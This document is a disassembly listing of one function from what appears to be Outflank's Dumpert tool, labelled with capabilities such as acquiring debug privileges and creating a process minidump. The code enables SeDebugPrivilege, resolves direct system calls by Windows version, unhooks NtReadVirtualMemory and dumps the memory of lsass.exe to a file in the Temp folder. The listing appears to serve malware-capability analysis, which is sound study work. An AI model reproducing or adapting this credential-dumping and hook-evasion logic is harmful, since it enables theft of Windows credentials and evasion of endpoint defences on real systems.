Function at 0x140001570
Capabilities:
Acquire debug privileges
Create process memory minidump
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x580], rax
lea rcx, str.______________________________.______________________t_t_t_t_n
call fcn.140001010
lea rcx, str.__________________________________________________t_t_n
call fcn.140001010
lea rcx, str.___________________________________________t_n
call fcn.140001010
lea rcx, str.___________________________________________t_t_n
call fcn.140001010
lea rcx, str.________________________________________________t_t_n
call fcn.140001010
lea rcx, str._____________________________________________________t_t_n
call fcn.140001010
lea rcx, str.__________________________________Dumpert_t_t_t_t_t_t_t_n
call fcn.140001010
lea rcx, str._______________________________By_Cneeliz__Outflank_2019_t_t_____n_n
call fcn.140001010
xor r14d, r14d
mov ebx, r14d
mov qword [rbp], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001656
mov rcx, qword [rbp]
lea rax, [rsp + 0x70]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x10]
mov dword [rbp + 0x10], r14d
mov edx, 0x14
mov dword [rsp + 0x70], 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp + 0x10]
mov rcx, qword [rbp]
test rcx, rcx
je 0x140001665
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001baf
mov qword [rsp + 0x6a8], rdi
mov qword [rsp + 0x70], r14
mov qword [rbp + 4], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x70]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400016ec
lea r8, [rbp + 4]
mov dword [rbp], 1
lea rdx, str.SeDebugPrivilege
mov dword [rbp + 0xc], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x70]
test eax, eax
je 0x1400016e6
mov qword [rsp + 0x28], r14
lea r8, [rbp]
mov r9d, 0x10
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x40
mov qword [rsp + 0x6a0], rsi
mov ecx, 1
call fcn.140005500
lea rcx, str.ntdll.dll
mov dword [rbp + 0x40], 0x11c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140001b62
lea rcx, str._1__Checking_OS_version_details:_n
call fcn.140001010
lea rcx, [rbp + 0x40]
call rdi
mov eax, dword [rbp + 0x48]
lea r8, str._u._u
mov r9d, dword [rbp + 0x44]
mov edx, 8
mov rcx, rbx
mov dword [rsp + 0x20], eax
call fcn.140001070
mov eax, dword [rbp + 0x4c]
lea rdx, str.10.0
mov rcx, rbx
mov dword [rbx + 0x10], eax
call fcn.14000ac68
test eax, eax
jne 0x1400017c4
mov r8d, dword [rbx + 0x10]
lea rdx, str.10_or_Server_2016
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001d53]
mov dword [rbx + 0x38], 0x3f
lea rcx, [0x140001d95]
lea rdx, [0x140001d48]
jmp 0x1400018ce
lea rdx, [0x140021908]
mov rcx, rbx
call fcn.14000ac68
test eax, eax
jne 0x140001824
cmp dword [rbp + 0x4c], 0x1db1
jne 0x140001824
mov r8d, dword [rbx + 0x10]
lea rdx, str.7_SP1_or_Server_2008_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001c4b]
mov dword [rbx + 0x38], 0x3c
lea rcx, [0x140001c8d]
lea rdx, [0x140001c40]
jmp 0x1400018ce
lea rdx, [0x140021910]
mov rcx, rbx
call fcn.14000ac68
test eax, eax
jne 0x140001878
mov r8d, dword [rbx + 0x10]
lea rdx, str.8_or_Server_2012
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001ca3]
mov dword [rbx + 0x38], 0x3d
lea rcx, [0x140001ce5]
lea rdx, [0x140001c98]
jmp 0x1400018ce
lea rdx, [0x140021918]
mov rcx, rbx
call fcn.14000ac68
test eax, eax
jne 0x140001b98
mov r8d, dword [rbx + 0x10]
lea rdx, str.8.1_or_Server_2012_R2
lea rcx, str._t___Operating_System_is_Windows__ls__build_number__d_n
call fcn.140001010
lea rcx, str._t___Mapping_version_specific_System_calls._n
call fcn.140001010
lea rax, [0x140001cfb]
mov dword [rbx + 0x38], 0x3e
lea rcx, [0x140001d3d]
lea rdx, [0x140001cf0]
mov qword [0x140026d38], rcx
lea rcx, str._2__Checking_Process_details:_n
mov qword [0x140026d48], rdx
mov qword [0x140026d40], rax
call fcn.140001010
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140001b62
lea rdx, str.lsass.exe
lea rcx, [rbx + 0x18]
call rsi
mov rcx, rbx
call fcn.140001350
test eax, eax
je 0x140001bc6
movups xmm0, xmmword [rbx + 0x18]
mov r8, qword [rbx + 0x28]
lea rdx, [rbp]
lea rcx, str._t___Process_ID_of__wZ_is:__lld_n
movaps xmmword [rbp], xmm0
call fcn.140001010
lea rax, str.NtReadVirtualMemory
mov rcx, rbx
mov qword [rbx + 0x30], rax
call fcn.140001130
test eax, eax
je 0x140001bdd
lea rcx, str._3__Create_memorydump_file:_n
call fcn.140001010
lea rcx, str._t___Open_a_process_handle._n
call fcn.140001010
xorps xmm0, xmm0
mov qword [rsp + 0x60], r14
movdqu xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x68], 0x30
lea r9, [rbp - 0x78]
mov qword [rbp - 0x60], r14
lea r8, [rbp - 0x68]
mov dword [rbp - 0x50], r14d
lea rcx, [rsp + 0x60]
mov qword [rbp - 0x58], r14
mov edx, 0x1fffff
mov rax, qword [rbx + 0x28]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], r14
call qword [0x140026d48]
cmp qword [rsp + 0x60], r14
je 0x140001bf8
movsd xmm0, qword [str.___]
lea rcx, [rbp + 0x16a]
movzx eax, word [0x140022330]
xor edx, edx
mov r8d, 0x1fe
movsd qword [rbp + 0x160], xmm0
mov word [rbp + 0x168], ax
call fcn.140017e40
mov edx, 0x104
lea rcx, [rbp + 0x370]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea r8, [rbp + 0x370]
mov edx, 0x104
lea rcx, [rbp + 0x160]
call fcn.14000adec
lea r8, str.Tempdumpert.dmp
mov edx, 0x104
lea rcx, [rbp + 0x160]
call fcn.14000adec
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x20]
call rsi
movups xmm1, xmmword [rbx + 0x18]
lea r8, [rbp]
movaps xmm0, xmmword [rbp + 0x20]
lea rdx, [rsp + 0x70]
lea rcx, str._t___Dump__wZ_memory_to:__wZ_n
movaps xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp], xmm0
call fcn.140001010
mov dword [rsp + 0x50], r14d
lea rax, [rbp + 0x20]
mov qword [rsp + 0x48], r14
lea r9, [rbp + 0x30]
mov dword [rsp + 0x40], 0x20
lea r8, [rbp - 0x38]
mov dword [rsp + 0x38], 5
lea rcx, [rbp - 0x80]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0x80
mov edx, 0x120116
mov qword [rsp + 0x20], r14
mov qword [rbp - 0x80], r14
movups xmmword [rbp + 0x30], xmm0
mov dword [rbp - 0x38], 0x30
mov qword [rbp - 0x30], r14
mov dword [rbp - 0x20], 0x40
mov qword [rbp - 0x28], rax
movdqu xmmword [rbp - 0x18], xmm0
call qword [0x140026d38]
cmp qword [rbp - 0x80], 0xffffffffffffffff
je 0x140001c0f
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8, qword [rbp - 0x80]
mov r9d, 2
mov rcx, qword [rsp + 0x60]
mov edx, eax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x140001b41
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____Failed_to_create_minidump__error_code:__x_n
call fcn.140001010
jmp 0x140001b4d
lea rcx, str._t___Dump_succesful._n
call fcn.140001010
mov rcx, qword [rbp - 0x80]
call qword [0x140026d40]
mov rcx, qword [rsp + 0x60]
call qword [0x140026d40]
mov rsi, qword [rsp + 0x6a0]
xor eax, eax
mov rdi, qword [rsp + 0x6a8]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.140001db0
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, str._t____OS_Version_not_supported._n_n
call fcn.140001010
mov ecx, 1
call fcn.1400054f0
int3
lea rcx, str.____You_need_elevated_privileges_to_run_this_tool__n
call fcn.140001010
mov ecx, 1
call fcn.1400054f0
int3
lea rcx, str._t____Enumerating_process_failed._n
call fcn.140001010
mov ecx, 1
call fcn.1400054f0
int3
mov rdx, qword [rbx + 0x30]
lea rcx, str._t____Unhooking__s_failed._n
call fcn.1400010d0
mov ecx, 1
call fcn.1400054f0
int3
lea rcx, str._t____Failed_to_get_processhandle._n
call fcn.140001010
mov ecx, 1
call fcn.1400054f0
int3
lea rcx, str._t____Failed_to_create_dumpfile._n
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [0x140026d40]
mov ecx, 1
call fcn.1400054f0
int3